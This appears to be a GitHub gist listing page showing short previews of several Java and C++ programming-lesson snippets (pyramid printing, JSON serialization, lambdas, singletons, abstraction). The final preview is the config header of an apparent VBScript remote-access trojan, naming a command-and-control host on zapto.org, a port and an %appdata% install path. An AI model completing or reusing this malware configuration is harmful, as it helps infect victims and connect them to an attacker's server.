This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package ge.tsu.pyramid; | |
| public class Main { | |
| public static void main(String[] args) { | |
| // Pyramid properties | |
| char symbol = '+'; | |
| int height = 10; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package ge.tsu.serializer.json; | |
| import java.lang.reflect.Field; | |
| import java.time.LocalDate; | |
| import java.time.Month; | |
| import java.time.temporal.Temporal; | |
| public class JsonSerializer { | |
| public static void main(String... args) throws Exception { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package ge.tsu.lambdas; | |
| import java.util.function.Consumer; | |
| import java.util.function.Predicate; | |
| public class Main { | |
| public static void main(String... args) { | |
| Person kaiKaci = new Person("Nikoloz", "Grdzelidze", 28); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <iostream> | |
| class DoubleArray | |
| { | |
| public: | |
| double** arr; | |
| DoubleArray(double** arr) : arr(arr) {} | |
| class Proxy |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Abstraction - separating something out of the class and reusing it anywhere else. | |
| public class Person { | |
| String firstName; | |
| String lastName; | |
| short age; | |
| Address address; // Taking address specific fields out into another class | |
| } | |
| // This now can be used anywhere else | |
| class Address { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| public abstract class Animal { | |
| public abstract void makeSound(); // Force every animals to have sound | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package singleton; | |
| public final class Earth | |
| { | |
| public static final Earth INSTANCE; | |
| static | |
| { | |
| new Earth(); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // In C++, a constructor with only one required parameter is considered an implicit conversion function. | |
| // It converts the parameter type to the class type. | |
| // Whether this is a good thing or not depends on the semantics of the constructor. | |
| #include <iostream> | |
| #include <string> | |
| using namespace std; | |
| class Foo |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| '<[ recoder : houdini (c) skype : houdini-fx ]> | |
| '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-= | |
| host = "bog5151.zapto.org" | |
| port = 991 | |
| installdir = "%appdata%" | |
| lnkfile = true | |
| lnkfolder = true |
NewerOlder